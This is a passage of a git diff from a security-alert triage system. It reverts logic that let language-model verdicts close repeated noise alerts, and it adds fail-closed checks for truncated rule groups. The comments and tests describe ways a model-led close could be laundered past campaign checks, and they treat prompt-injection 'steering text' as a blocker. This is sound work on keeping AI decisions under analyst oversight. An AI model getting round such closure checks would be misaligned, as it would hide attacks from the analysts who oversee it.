Indicator, extract_indicators -from lg_sotf.domain.noise_families import DetectionRule, detection_rule from lg_sotf.domain.phishing import PhishingProfile from lg_sotf.domain.routing import RoutingThresholds from lg_sotf.errors import AgentError @@ -121,14 +105,6 @@ class CorrelationResult: # malicious or suspicious, and how many still wait for an analyst or an approval. related_threats: int = 0 related_open_reviews: int = 0 - # FIX-2: how many related alerts are this alert's detection rule repeating as noise (quiet_rule_repeat), and - # whether the related set is complete (the query did not hit its limit and no related alert was hidden for a blind audit). - # Fail closed: the defaults (0, False) block a model-led close whenever there is a related alert. - related_rule_repeats: int = 0 - related_complete: bool = False - # FIX-2 review: related alerts of another or unknown detection rule (or vendor); a later alert reads it from this - # digest before it lets this alert's own campaign block pass as repetition. - related_other_rules: int = 0 campaign_indicators: List[str] = field(default_factory=list) notes: List[str] = field(default_factory=list) @@ -144,9 +120,7 @@ def digest(self) -> CorrelationDigest: AI_CLOSED = "ai_closed_unaudited" #: A related alert's model assessments that count as judged a threat: the fast tier's, or the deep tier's verdict. THREAT_ASSESSMENTS = frozenset({"suspicious", "likely_threat", "confirmed_threat"}) -APPROVAL_STATUS = "waiting_approval" -DEFAULT_THRESHOLDS = RoutingThresholds() -OPEN_REVIEW_STATUSES = frozenset({"waiting_human", APPROVAL_STATUS}) +OPEN_REVIEW_STATUSES = frozenset({"waiting_human", "waiting_approval"}) def _summary_part(other: Any, key: str) -> Mapping[str, Any]: @@ -164,101 +138,8 @@ def related_disposition(other: Any) -> str: return str(other.disposition or "undecided") -def related_document(other: Any) -> Dict[str, Any]: - """A stored related alert as a canonical alert with its raw event (what the noise catalogue reads).""" - normalized = other.normalized if isinstance(other.normalized, Mapping) else {} - raw = getattr(other, "raw", None) - return {**normalized, "raw": raw if isinstance(raw, Mapping) else {}} - - -#: What a sibling's own model-close check may report and leave it a quiet repeat: the tier (this alert's tier -#: decides). Its campaign check is exempt only when its own digest shows nothing but repeats of its rule -#: (:func:`_sibling_campaign_cleared`), so a block cannot be laundered through a sibling once the alert that caused -#: it has left this alert's window. -SIBLING_EXEMPT_BLOCKERS = frozenset({"tier_off"}) -CAMPAIGN = "campaign_in_progress" - - -def _count(value: Any) -> Optional[int]: - return value if isinstance(value, int) and not isinstance(value, bool) else None - - -def _sibling_campaign_cleared(correlation: Mapping[str, Any]) -> bool: - """Whether a sibling's own campaign block came only from same-rule siblings it could not yet vouch for: its - digest shows no threat, a complete set and no related alert of another or unknown rule. A digest without these - counts (unknown) does not clear it.""" - return ( - _count(correlation.get("related_threats")) == 0 - and correlation.get("related_complete") is True - and _count(correlation.get("related_other_rules")) == 0 - ) - - -def _sibling_state(other: Any) -> Dict[str, Any]: - """A related alert as routing state, from what is stored: its severity, alert document and agent digests.""" - return { - "severity": other.severity, - "alert": related_document(other), - "triage": dict(_summary_part(other, "triage")), - "analysis": dict(_summary_part(other, "analysis")), - "correlation": dict(_summary_part(other, "correlation")), - } - - -def quiet_rule_repeat( - rule: Optional[DetectionRule], - other: Any, - *, - judged_threat: bool, - max_likelihood: int = DEFAULT_THRESHOLDS.model_close_max_likelihood, - min_certainty: int = DEFAULT_THRESHOLDS.model_close_min_certainty, -) -> bool: - """Whether a related alert is ``rule`` repeating as noise (FIX-2). - - The same vendor detection rule, judged a threat by no model, not a - response plan awaiting approval, and either: - - * closed as benign (by an analyst, approved evidence or a model-led - close). This trusts the analyst's or the evidence's decision on purpose, - whatever the sibling's own model scores; a model threat verdict on it - still blocks (checked first); or - * a model-led close candidate itself: its own - :func:`closure.model_close_blockers`, apart from the tier, are empty - (no steering text, no recent true positive, both tiers benign at the - thresholds, no never-close class, a low enough severity). Its own - campaign block counts as cleared only when its stored digest shows no - threat, a complete related set and no related alert of another or - unknown rule (``related_other_rules`` 0): the block of a kill-chain - step that has since left this alert's window is not laundered. - - A sibling still waiting for a model, or for its deep verdict, is not - quiet: anything unknown blocks. - """ - if rule is None or judged_threat or other.status == APPROVAL_STATUS: - return False - if detection_rule(related_document(other)) != rule: - return False - if other.status == "closed" and other.disposition == "benign": - return True - sibling = _sibling_state(other) - blockers = set(closure.model_close_blockers( - sibling, tier=closure.MODEL_CLOSE_TIER, max_likelihood=max_likelihood, min_certainty=min_certainty, - )) - SIBLING_EXEMPT_BLOCKERS - if CAMPAIGN in blockers and _sibling_campaign_cleared(sibling["correlation"]): - blockers.discard(CAMPAIGN) - return not blockers - - -def tally_related( - result: CorrelationResult, - others: List[Any], - rule: Optional[DetectionRule] = None, - *, - thresholds: Optional[RoutingThresholds] = None, -) -> None: - """Count every related alert's disposition, model judgement, open review and quiet repeat of ``rule`` (this - alert's detection rule) into ``result``.""" - t = thresholds or DEFAULT_THRESHOLDS +def tally_related(result: CorrelationResult, others: List[Any]) -> None: + """Count every related alert's disposition, model judgement and open review into ``result``.""" for other in others: key = related_disposition(other) result.related_dispositions[key] = result.related_dispositions.get(key, 0) + 1 @@ -267,11 +148,6 @@ def tally_related( ) result.related_threats += int(judged) result.related_open_reviews += int(other.status in OPEN_REVIEW_STATUSES) - result.related_other_rules += int(rule is None or detection_rule(related_document(other)) != rule) - result.related_rule_repeats += int(quiet_rule_repeat( - rule, other, judged_threat=judged, max_likelihood=t.model_close_max_likelihood, - min_certainty=t.model_close_min_certainty, - )) def frequency_level(alerts_per_hour: float) -> str: @@ -350,7 +226,7 @@ async def _run( await ctx.repos.indicators.add_sightings( ctx.tenant_id, ctx.alert_id, [(i.type, h, i.display, now) for i, h in hashed] ) - related, complete = await self._related(ctx, [(i.type, h) for i, h in hashed], now) + related = await self._related(ctx, [(i.type, h) for i, h in hashed], now) type_counts: Dict[str, int] = {} for ind in indicators: @@ -370,15 +246,13 @@ async def _run( indicator_types=type_counts, burst=burst, frequency_level=frequency_level(per_hour), - related_complete=complete, ) if not related: result.llm_skipped = self.skip_llm("no_related_alerts").skipped return result others = await self.related_alerts(ctx, related) - thresholds = RoutingThresholds.from_settings(ctx.settings.routing) - tally_related(result, [other for _, _, other in others], detection_rule(alert), thresholds=thresholds) + tally_related(result, [other for _, _, other in others]) digests = [self.related_digest(*found) for found in others[:MAX_DIGESTS]] llm: LLMResult[CorrelationAssessment] = await self.call_llm( @@ -402,7 +276,7 @@ async def _run( result.llm_skipped = llm.skipped result.llm_refusal = agent_refusal(llm, self.name) if llm.refused: - grey = thresholds.correlation_grey_zone_min + grey = RoutingThresholds.from_settings(ctx.settings.routing).correlation_grey_zone_min result.confidence = max(result.confidence, grey) result.notes.append("correlation: model refused; confidence held in the grey zone for review") if llm.value is not None: @@ -461,27 +335,18 @@ async def related_digests(cls, ctx: AgentContext, related: List[Any]) -> List[Di """Compact, bounded view of each related alert (no raw events, no ids).""" return [cls.related_digest(idx, r, other) for idx, r, other in await cls.related_alerts(ctx, related)] - async def _related( - self, ctx: AgentContext, keys: List[Tuple[str, str]], now: datetime - ) -> Tuple[List[Any], bool]: - """Alerts sharing an indicator within the window, and whether that set is complete. - - A sample waiting for its blind-audit label is left out: its disposition - must not reach this alert's digest or the model (it is hidden until - labelled). The set is incomplete when the query hit its limit (more - related alerts may exist) or a related alert was hidden: a model-led - close then fails closed (FIX-2, :mod:`lg_sotf.domain.closure`). - """ + async def _related(self, ctx: AgentContext, keys: List[Tuple[str, str]], now: datetime) -> List[Any]: + """Alerts sharing an indicator within the window. A sample waiting for its blind-audit label is left + out: its disposition must not reach this alert's digest or the model (it is hidden until labelled).""" if not keys or ctx.repos is None: - return [], True + return [] related = await ctx.repos.indicators.related_alerts( ctx.tenant_id, keys, since=now - self.window, limit=self.max_related, exclude_alert_id=ctx.alert_id ) if not related: - return [], True + return [] hidden = await ctx.repos.blind_audit.pending_alert_ids(ctx.tenant_id, [r.alert_id for r in related]) - complete = len(related) < self.max_related and not hidden - return [r for r in related if r.alert_id not in hidden], complete + return [r for r in related if r.alert_id not in hidden] @staticmethod def _rule_score(related: List[Any], indicators: List[Indicator], burst: bool) -> int: diff --git a/src/lg_sotf/core/graph.py b/src/lg_sotf/core/graph.py index 1265e61f..7a7e4b5e 100644 --- a/src/lg_sotf/core/graph.py +++ b/src/lg_sotf/core/graph.py @@ -169,11 +169,25 @@ def _shrink(value: Any, items: int, chars: int, keys: int, depth: int) -> Any: RAW_OMITTED = "raw event too large for workflow state" +RAW_RULE_SUBSET_ITEMS = 20 +#: Set on a kept ``raw.rule`` whose groups list was cut: the never-close checks then cannot see every group, and +#: the alert resolves to ``vendor_unknown`` (lg_sotf.domain.noise_families), a never-close class. +GROUPS_TRUNCATED = "groups_truncated" + + +def _groups_cut(rule: Any, keep: int) -> bool: + groups = rule.get("groups") if isinstance(rule, Mapping) else None + return isinstance(groups, list) and len(groups) > keep + + def _raw_rule_subset(raw: Any) -> Optional[Dict[str, Any]]: + """The small ``raw.rule`` subset kept through the state cap (from the uncapped raw event).""" rule = raw.get("rule") if isinstance(raw, Mapping) else None if not isinstance(rule, Mapping): return None - subset = {k: _shrink(rule[k], 20, 200, 10, 3) for k in RAW_RULE_KEYS if k in rule} + subset = {k: _shrink(rule[k], RAW_RULE_SUBSET_ITEMS, 200, 10, 3) for k in RAW_RULE_KEYS if k in rule} + if _groups_cut(rule, RAW_RULE_SUBSET_ITEMS): + subset[GROUPS_TRUNCATED] = True return subset or None @@ -199,7 +213,12 @@ def cap_alert(canonical: Mapping[str, Any]) -> Dict[str, Any]: capped: Dict[str, Any] = _cap(dict(canonical)) capped.pop("_omitted_keys", None) omitted: List[str] = [] - rule = _raw_rule_subset(capped.get("raw")) + original_raw = canonical.get("raw") + original_rule = original_raw.get("rule") if isinstance(original_raw, Mapping) else None + rule = _raw_rule_subset(original_raw) + kept_rule = capped["raw"].get("rule") if isinstance(capped.get("raw"), dict) else None + if isinstance(kept_rule, dict) and _groups_cut(original_rule, MAX_LIST_ITEMS): + kept_rule[GROUPS_TRUNCATED] = True # the per-list cap cut the groups of a raw event that is kept whole reduced = False if "raw" in capped and _json_len(capped["raw"]) > MAX_RAW_JSON_CHARS: capped["raw"], reduced = _omitted_raw(rule), True diff --git a/src/lg_sotf/core/state.py b/src/lg_sotf/core/state.py index 25029732..3a6f9afb 100644 --- a/src/lg_sotf/core/state.py +++ b/src/lg_sotf/core/state.py @@ -110,9 +110,6 @@ class CorrelationDigest(TypedDict, total=False): related_dispositions: Dict[str, int] related_threats: int related_open_reviews: int - related_rule_repeats: int - related_complete: bool - related_other_rules: int campaign_indicators: List[str] diff --git a/src/lg_sotf/domain/closure.py b/src/lg_sotf/domain/closure.py index 7dfebc2d..34ffeb2b 100644 --- a/src/lg_sotf/domain/closure.py +++ b/src/lg_sotf/domain/closure.py @@ -24,30 +24,12 @@ malicious history (``prior_malicious_history``), no related alert of the correlation window closed as malicious, and no rule evidence that corroborates a threat (``rule_corroborated``); -* no campaign in progress (FIX-2): every related alert of the correlation - window is the same detection rule repeating as noise - (``related_rule_repeats`` equals ``related_count``): the same vendor rule - id as this alert (known for Wazuh only: for other vendors every related - alert blocks), judged a threat by no model, not a response plan awaiting - approval, and either closed as benign (by an analyst, approved evidence or - a model-led close: a deliberate trust in that decision, whatever the - sibling's own model scores) or itself a model-led close candidate: its - own conditions here, apart from the tier, all hold (no steering text, no - recent true positive, both model tiers benign at the thresholds, no - never-close class), and its own campaign block counts as cleared only - when its digest shows no threat, a complete set and no related alert of - another or unknown rule (``related_other_rules``), so a kill-chain - step that has left this alert's window cannot be laundered through it. - A sibling still waiting for its deep verdict blocks. A related alert of a different rule on the same entities is a - possible kill chain and blocks, whatever its status. A burst of one rule - that passes these tests is repetition, not a campaign. The set must be - complete (``related_complete``): when the correlation query hit its - limit (``agents.correlation.max_correlations``: 10 by default, 20 at - most; a complete set holds fewer, so a close stands behind at most 9 - repeats in the 60-minute window by default, 19 at most) or a related alert was hidden for a blind audit, the close - is blocked. A digest from before FIX-2 with related alerts blocks (its - repeat count is unknown); one with none (``related_count`` 0) has - nothing to count and does not; +* no campaign in progress: no burst of related alerts, no related alert a + model judged malicious or suspicious, none still open for an analyst or an + approval (counted over every related alert, not only those shown to the + correlation model), so an attack is never closed alert by alert. (A + check that lets one rule repeat was deferred from FIX-2: three review + rounds found ways to launder a block through it); * both model tiers say benign: the fast tier's assessment is ``benign`` with a threat likelihood at most ``routing.model_close_max_likelihood`` (default 8), and the deep tier's verdict is ``benign`` with a certainty of @@ -265,24 +247,17 @@ def _recent_true_positive(analysis: Mapping[str, Any], correlation: Mapping[str, def _campaign_in_progress(correlation: Mapping[str, Any]) -> bool: - """Related alerts that may be one attack (FIX-2): anything but the same detection rule repeating as noise. - - The close is allowed only when there is no related alert (and none was - left out), or when the related set is complete and every related alert is - a quiet repeat of this alert's rule (``related_rule_repeats`` equals - ``related_count``) and none was judged a threat. A burst made only of such - repeats is repetition, not a campaign. Unknown or inconsistent counts (a - digest without them) fail closed. - """ + """Related alerts that may be one attack: a burst, one a model judged malicious or suspicious, or one still + open for review. Unknown counts (a digest without them) fail closed.""" related = _number(correlation.get("related_count")) - complete = correlation.get("related_complete") - if related is None or related < 0: + if related is None: return True if related == 0: - return complete is False - repeats = _number(correlation.get("related_rule_repeats")) - threats = _number(correlation.get("related_threats")) - return not (complete is True and repeats == related and threats == 0) + return False + if correlation.get("burst") is not False: + return True + counts = [_number(correlation.get(key)) for key in ("related_threats", "related_open_reviews")] + return any(count is None or count > 0 for count in counts) def _steering_text(triage: Mapping[str, Any]) -> bool: diff --git a/src/lg_sotf/domain/noise_families.py b/src/lg_sotf/domain/noise_families.py index 86b8209a..f8df7631 100644 --- a/src/lg_sotf/domain/noise_families.py +++ b/src/lg_sotf/domain/noise_families.py @@ -35,8 +35,8 @@ without admin rights. Each entry therefore records the abuse it could hide, and every family with a known abuse has a test that a malicious or suspicious model verdict still escalates it. A forged repeat can also be - a decoy, or flood the related set: past the correlation limit the set is - incomplete and the close fails closed. + a decoy; while it waits for an analyst it blocks other model closes on + the same entities (FIX-1's campaign check). The module also holds the vendor facts that put an alert **into** a never-close class whatever its ATT&CK mapping (:func:`vendor_never_close_class`): @@ -162,8 +162,7 @@ class NoiseFamily: "A single 4xx answer in a web access log: broken links, crawlers and expired sessions produce these " "constantly. Attack signatures in the same access log (SQL injection, XSS, common web attacks, an " "attack answered with 200) and repeated 4xx from one source (31151, level 10, which maps to medium) " - "are separate rules and are not catalogued; as a different rule on the same source, 31151 blocks a " - "model close of the 4xx repeats around it. 5xx answers (31120-31123) are left out: a server error can " + "are separate rules and are not catalogued. 5xx answers (31120-31123) are left out: a server error can " "be the side effect of an exploit attempt." ), could_hide=( @@ -240,7 +239,9 @@ def vendor_never_close_class(alert: Any) -> Optional[str]: checks only block, so they read the raw event whatever format built the alert. The state size cap always keeps ``raw.rule`` (:func:`lg_sotf.core.graph.cap_alert`); a Wazuh-built alert whose rule - still cannot be read is :data:`VENDOR_UNKNOWN`, a never-close class. + still cannot be read, or whose groups list the cap cut (``groups_truncated``) + without an authentication-failure group in what it kept, is + :data:`VENDOR_UNKNOWN`, a never-close class. """ if not isinstance(alert, Mapping): return None @@ -254,5 +255,7 @@ def vendor_never_close_class(alert: Any) -> Optional[str]: names = {g.strip().lower() for g in groups[:MAX_RULE_GROUPS] if isinstance(g, str)} if names & AUTH_FAILURE_GROUPS: return "credential_access" + if rule.get("groups_truncated") is True: + return VENDOR_UNKNOWN # the state cap cut the groups: an authentication-failure group may be among the rest rule_id = _rule_id(rule) return NEVER_CLOSE_RULE_IDS.get(rule_id) if rule_id is not None else None diff --git a/src/lg_sotf/domain/routing.py b/src/lg_sotf/domain/routing.py index 60f45a43..90a50548 100644 --- a/src/lg_sotf/domain/routing.py +++ b/src/lg_sotf/domain/routing.py @@ -19,8 +19,8 @@ (:mod:`lg_sotf.domain.closure`, code ``model_closed``) that every condition of that module allows. With the tier ``off`` a model never closes alone. Policy v2.1 (FIX-2) lets a catalogued noise rule (vendor and rule id, - :mod:`lg_sotf.domain.noise_families`) lift only the ``unmapped`` class, - and tells one rule repeating apart from a campaign. + :mod:`lg_sotf.domain.noise_families`) lift only the ``unmapped`` class; + the campaign check is FIX-1's. * A response the policy (not an analyst) chose goes to an analyst when an action failed or none completed; it closes (disposition ``malicious``) once its actions succeeded or ran in the tenant's dry-run mode. Blocked diff --git a/src/lg_sotf/invariants/checks.py b/src/lg_sotf/invariants/checks.py index 3ffc056e..32c86dda 100644 --- a/src/lg_sotf/invariants/checks.py +++ b/src/lg_sotf/invariants/checks.py @@ -130,8 +130,7 @@ def _benign_state(severity: str, *, evidence: bool = True, tactic: Optional[str] def check_routing_policy(settings: Settings) -> CheckResult: """With this install's thresholds, a benign verdict never closes a high alert at any autonomy tier, a model - never closes alone with the tier ``off``, never a never-close class, and never next to a different detection on - the alert's entities (a possible campaign, FIX-2) (INV-03).""" + never closes alone with the tier ``off``, and never a never-close class (INV-03).""" thresholds = RoutingThresholds.from_settings(settings.routing) closed: List[str] = [] for severity in sorted(HIGH_SEVERITIES): @@ -145,11 +144,6 @@ def check_routing_policy(settings: Settings) -> CheckResult: credential = _benign_state("low", evidence=False, tactic="Credential Access") if decide(credential, thresholds, MODEL_CLOSE_TIER).route == "close": closed.append("credential access alert closed on the models' verdict") - chain = _benign_state("low", evidence=False) - chain["correlation"] = {"related_count": 1, "related_rule_repeats": 0, "related_complete": True, - "related_threats": 0, "related_dispositions": {"benign": 1}} - if decide(chain, thresholds, MODEL_CLOSE_TIER).route == "close": - closed.append("alert closed on the models' verdict next to a different detection on its entities") corroborated = _benign_state("low") corroborated["analysis"].update(rule_corroborated=True, rule_evidence=["threat_intel_malicious"]) if decide(corroborated, thresholds, "off").route == "close": @@ -158,7 +152,7 @@ def check_routing_policy(settings: Settings) -> CheckResult: "routing_policy", not closed, "; ".join(closed) or "a benign model verdict closes no high or critical alert, nothing with model-led closure " - "off, no never-close class, nothing next to a different detection, and no alert with evidence of a threat", + "off, no never-close class, and no alert with evidence of a threat", ) diff --git a/src/lg_sotf/invariants/registry.py b/src/lg_sotf/invariants/registry.py index 21340ae0..220a7ba9 100644 --- a/src/lg_sotf/invariants/registry.py +++ b/src/lg_sotf/invariants/registry.py @@ -117,9 +117,8 @@ class Invariant: "never-close classes (credential access, log clearing, security-tool tampering, ransomware behaviour, " "persistence through attacker-named objects, authentication failures by vendor rule group, unmapped " "alerts unless the vendor rule id is in the reviewed noise catalogue, never matched on text), steering " - "text, entities with a recent true positive or a campaign in progress (anything but the same detection " - "rule repeating as benign noise over a complete related set); such a close is marked model_closed for " - "audit. With the tier off, the default, a model never closes an alert alone." + "text, entities with a recent true positive or a campaign in progress; such a close is marked " + "model_closed for audit. With the tier off, the default, a model never closes an alert alone." ), epic="AI-E6", threats=("TM-WRK-1", "TM-WRK-2"), @@ -147,17 +146,12 @@ class Invariant: "tests/unit/domain/test_noise_families.py::test_every_other_condition_still_blocks_a_catalogued_rule", "tests/unit/domain/test_noise_families.py::" "test_a_malicious_or_suspicious_model_verdict_on_a_catalogued_rule_still_escalates", - "tests/unit/agents/test_campaign_split.py::test_a_different_detection_on_the_same_host_is_a_possible_kill_chain", - "tests/unit/agents/test_campaign_split.py::test_a_same_rule_alert_still_counts_against_closing_when", - "tests/unit/agents/test_campaign_split.py::test_an_incomplete_related_set_fails_closed", - "tests/unit/agents/test_campaign_split.py::test_review_m1_a_steering_msi_does_not_vouch_for_the_next", - "tests/unit/agents/test_campaign_split.py::test_recheck_a_campaign_block_is_not_laundered_through_a_sibling", "tests/unit/domain/test_noise_families.py::test_recheck_a_wazuh_alert_without_a_readable_rule_never_closes", "tests/unit/domain/test_noise_families.py::" "test_review_h1_authentication_failures_are_credential_access_whatever_their_mapping", "tests/integration/engine/test_model_closure.py::test_the_tenant_tier_decides_whether_the_models_close", "tests/integration/engine/test_model_closure.py::" - "test_catalogued_noise_and_its_repeats_close_but_another_rule_on_the_host_does_not", + "test_catalogued_noise_closes_on_the_models_word_and_an_uncatalogued_rule_does_not", "tests/integration/eval/test_adversarial_v2_eval.py::test_no_malicious_close_with_model_led_closure_on", "tests/integration/e2e/test_llm_safety.py::test_injected_benign_instructions_never_close_an_alert", "tests/unit/agents/test_title_camouflage.py::" diff --git a/tests/integration/engine/test_model_closure.py b/tests/integration/engine/test_model_closure.py index 249effd6..9afa39f5 100644 --- a/tests/integration/engine/test_model_closure.py +++ b/tests/integration/engine/test_model_closure.py @@ -91,30 +91,18 @@ async def wazuh_alert(repos: Repositories, name: str, rule_id: str, description: raw=raw, normalized=fields) -async def test_catalogued_noise_and_its_repeats_close_but_another_rule_on_the_host_does_not( +async def test_catalogued_noise_closes_on_the_models_word_and_an_uncatalogued_rule_does_not( engine: WorkflowEngine, repos: Repositories ) -> None: - """FIX-2 through the real workflow and correlation: an unmapped Wazuh package install (rule 2902, catalogued) - closes on the models' word, and so do its repeats on the same host; a different detection on that host, and - every repeat after it, goes to an analyst. An uncatalogued unmapped rule never closes.""" + """FIX-2 through the real workflow: an unmapped Wazuh package install (rule 2902, catalogued) closes on the + models' word, marked with its family; a custom rule copying the description stays unmapped and goes to an + analyst.""" await repos.tenants.update_settings(TENANT_A, {"ai_closure": {"tier": "auto_full_audit"}}) - for name in ("first", "second", "third"): - alert_id = await wazuh_alert(repos, name, "2902", DPKG) - assert (await engine.run(TENANT_A, alert_id)).status == "completed", name - decided = await decide_event(repos, alert_id) - assert decided["code"] == "model_closed" and "catalogued noise linux_package_install" in decided["reason"] - correlation = (await repos.alerts.get(TENANT_A, alert_id)).summary["correlation"] - assert (correlation["related_count"], correlation["related_rule_repeats"], correlation["related_complete"]) == ( - 2, 2, True) - - other = await wazuh_alert(repos, "logon", "60106", "Windows logon success", - mitre={"tactics": ["Initial Access"], "techniques": ["T1078"]}) - assert (await engine.run(TENANT_A, other)).status == "waiting_human" - assert (await decide_event(repos, other))["code"] == "false_positive_review" - after = await wazuh_alert(repos, "after", "2902", DPKG) - assert (await engine.run(TENANT_A, after)).status == "waiting_human" - correlation = (await repos.alerts.get(TENANT_A, after)).summary["correlation"] - assert correlation["related_count"] == 4 and correlation["related_rule_repeats"] == 3 + package = await wazuh_alert(repos, "package", "2902", DPKG) + assert (await engine.run(TENANT_A, package)).status == "completed" + decided = await decide_event(repos, package) + assert decided["code"] == "model_closed" and "catalogued noise linux_package_install" in decided["reason"] custom = await wazuh_alert(repos, "custom", "100200", DPKG, entities={"hosts": ["db-08"]}) assert (await engine.run(TENANT_A, custom)).status == "waiting_human" + assert (await decide_event(repos, custom))["code"] == "false_positive_review" diff --git a/tests/unit/agents/_support.py b/tests/unit/agents/_support.py index e5c63658..8b973da9 100644 --- a/tests/unit/agents/_support.py +++ b/tests/unit/agents/_support.py @@ -36,7 +36,6 @@ class StoredAlert: disposition: Optional[str] = None occurred_at: datetime = NOW normalized: Dict[str, Any] = field(default_factory=dict) - raw: Dict[str, Any] = field(default_factory=dict) summary: Dict[str, Any] = field(default_factory=dict) diff --git a/tests/unit/agents/test_campaign_split.py b/tests/unit/agents/test_campaign_split.py deleted file mode 100644 index 194158b3..00000000 --- a/tests/unit/agents/test_campaign_split.py +++ /dev/null @@ -1,294 +0,0 @@ -"""The campaign split (FIX-2, decision policy v2.1): one detection rule repeating is noise; different detections on -the same entities are a possible kill chain. - -The correlation agent counts, over every related alert, the quiet repeats of -this alert's own vendor rule (``related_rule_repeats``) and whether the -related set is complete (``related_complete``); the real routing policy then -decides on the digest it produced. -""" - -from __future__ import annotations - -from datetime import timedelta -from typing import Any, Callable, Dict, List, Optional - -import pytest - -from lg_sotf.agents.base import AgentContext -from lg_sotf.agents.correlation.base import CorrelationAgent, CorrelationResult -from lg_sotf.domain import routing -from lg_sotf.domain.closure import MODEL_CLOSED, model_close_blockers -from lg_sotf.domain.routing import RoutingThresholds -from lg_sotf.settings import Settings -from tests.unit.agents._support import NOW, FakeBlindAudit, Related, StoredAlert, fake_repos - -T = RoutingThresholds() -AUTO = "auto_full_audit" -HOST = "web-01" -BENIGN_TRIAGE: Dict[str, Any] = {"threat_assessment": "benign", "threat_likelihood": 3, "llm_used": True, - "rule_fp": [], "rule_tp": []} -BENIGN_ANALYSIS: Dict[str, Any] = {"verdict": "benign", "certainty": 90, "threat_score": 8, "llm_used": True, - "rule_evidence": [], "rule_corroborated": False} -#: A sibling's own correlation digest when it had no related alert. -ALONE: Dict[str, Any] = {"related_count": 0, "related_complete": True, "related_rule_repeats": 0, "related_threats": 0, - "related_other_rules": 0, "related_dispositions": {}} -#: What a sibling the models could close themselves has stored: both tiers benign within the thresholds, alone. -BENIGN_SUMMARY: Dict[str, Any] = {"triage": BENIGN_TRIAGE, "analysis": BENIGN_ANALYSIS, "correlation": ALONE} -RULES = { - "2902": "New dpkg (Debian Package) installed.", - "5402": "Successful sudo to ROOT executed.", - "80792": "Audit: Command: /usr/bin/curl.", - "60612": "Application installed Product: Helper -- Installation completed successfully.", -} - - -def wazuh(rule_id: str, *, mitre: Optional[Dict[str, List[str]]] = None) -> Dict[str, Any]: - """A Wazuh alert on ``HOST`` as the correlation agent sees it: canonical fields and the raw event.""" - description = RULES[rule_id] - return { - "title": description, "severity": "medium", "rule_name": f"{rule_id}: {description}", "normalizer": "wazuh", - "entities": {"hosts": [HOST]}, "mitre": mitre or {"tactics": [], "techniques": []}, - "raw": {"rule": {"id": rule_id, "level": 7, "description": description}, "agent": {"name": HOST}}, - } - - -def stored(alert_id: str, rule_id: str, *, status: str = "waiting_human", summary: Optional[Dict[str, Any]] = None, - severity: str = "medium", - disposition: Optional[str] = None, mitre: Optional[Dict[str, List[str]]] = None) -> StoredAlert: - document = wazuh(rule_id, mitre=mitre) - raw = document.pop("raw") - return StoredAlert(id=alert_id, title=document["title"], severity=severity, status=status, disposition=disposition, - normalized=document, raw=raw, summary=BENIGN_SUMMARY if summary is None else summary) - - -async def correlate(settings: Settings, others: List[StoredAlert], *, rule_id: str = "2902", - pending: tuple = (), max_correlations: int = 10) -> CorrelationResult: # type: ignore[type-arg] - related = [Related(a.id, 1, NOW - timedelta(minutes=2)) for a in others] - repos = fake_repos(alerts=others, related=related) - repos.blind_audit = FakeBlindAudit(pending) - agent = CorrelationAgent(settings=settings, config={"enable_llm_correlation": False, - "max_correlations": max_correlations}) - return await agent.run(AgentContext("t1", "a1", settings, repos=repos), wazuh(rule_id), base_confidence=25, now=NOW) - - -def decide(result: CorrelationResult, rule_id: str = "2902") -> routing.Decision: - """The real routing decision for an alert both model tiers call benign, with the digest the agent produced.""" - state = { - "severity": "medium", "confidence": 25, "alert": wazuh(rule_id), - "triage": {"rule_fp": [], "rule_tp": [], "llm_used": True, "threat_assessment": "benign", - "threat_likelihood": 3}, - "correlation": dict(result.digest()), - "analysis": {"threat_score": 8, "certainty": 92, "verdict": "benign", "rule_evidence": [], - "rule_corroborated": False, "llm_used": True}, - } - return routing.decide(state, T, AUTO) - - -async def test_the_same_rule_repeating_as_benign_noise_is_not_a_campaign(make_settings: Callable[..., Settings]) -> None: - """A burst of one rule (dpkg installs during patching), every repeat judged benign and still open for review: - before FIX-2 the burst and the open reviews blocked every close, so the check blocked itself.""" - others = [stored(f"r{i}", "2902") for i in range(7)] - others.append(stored("r7", "2902", status="closed", disposition="benign", - summary={**BENIGN_SUMMARY, "close_reason": "ai_closed:audit_required"})) - result = await correlate(make_settings(), others) - assert result.burst and result.related_count == 8 and result.related_open_reviews == 7 - assert (result.related_rule_repeats, result.related_complete, result.related_threats) == (8, True, 0) - assert decide(result).code == MODEL_CLOSED - - -async def test_a_different_detection_on_the_same_host_is_a_possible_kill_chain( - make_settings: Callable[..., Settings], -) -> None: - """Mixed rules on one host (package installs, then sudo to root, then curl): even when every one of them was - judged benign and closed, the other rules count against closing; one alert alone is enough.""" - for intruder in (stored("x", "5402"), stored("x", "80792", status="closed", disposition="benign"), - stored("x", "5402", status="closed", disposition="benign", - summary={**BENIGN_SUMMARY, "close_reason": "analyst:false_positive"})): - result = await correlate(make_settings(), [stored(f"r{i}", "2902") for i in range(4)] + [intruder]) - assert (result.related_count, result.related_rule_repeats, result.related_complete) == (5, 4, True) - decision = decide(result) - assert decision.route == "escalate", intruder - # Seen from the other side: the sudo alert next to the dpkg repeats is not a repeat of its own rule either. - result = await correlate(make_settings(), [stored(f"r{i}", "2902") for i in range(4)], rule_id="5402") - assert result.related_rule_repeats == 0 and decide(result, "5402").route == "escalate" - - -@pytest.mark.parametrize( - ("why", "repeat"), - [ - ("a model judged it malicious", - {"summary": {**BENIGN_SUMMARY, "analysis": {**BENIGN_ANALYSIS, "verdict": "malicious"}}}), - ("the fast tier judged it suspicious", - {"summary": {**BENIGN_SUMMARY, "triage": {**BENIGN_TRIAGE, "threat_assessment": "suspicious"}}}), - ("the fast tier judged it a likely threat", - {"summary": {**BENIGN_SUMMARY, "triage": {**BENIGN_TRIAGE, "threat_assessment": "likely_threat"}}}), - ("the deep tier could not tell", - {"summary": {**BENIGN_SUMMARY, "analysis": {**BENIGN_ANALYSIS, "verdict": "inconclusive"}}}), - ("no model judged it yet (still in flight)", {"status": "processing", "summary": {}}), - ("only the rules judged it", {"summary": {"triage": {**BENIGN_TRIAGE, "llm_used": False}}}), - ("it is a response plan awaiting approval", {"status": "waiting_approval"}), - ("it is in a never-close class", {"mitre": {"tactics": ["Credential Access"], "techniques": ["T1110"]}}), - ("it is high severity", {"severity": "high"}), - # Review of #345 (M1): what FIX-1 blocked on in the sibling itself blocks it as a repeat. - ("(a) it carries steering text", - {"summary": {**BENIGN_SUMMARY, "triage": {**BENIGN_TRIAGE, "rule_tp": ["prompt_injection_suspected"]}}}), - ("(b) rule evidence corroborates a threat", - {"summary": {**BENIGN_SUMMARY, "analysis": {**BENIGN_ANALYSIS, "rule_corroborated": True}}}), - ("(b) its entities have analyst-confirmed malicious history", - {"summary": {**BENIGN_SUMMARY, - "analysis": 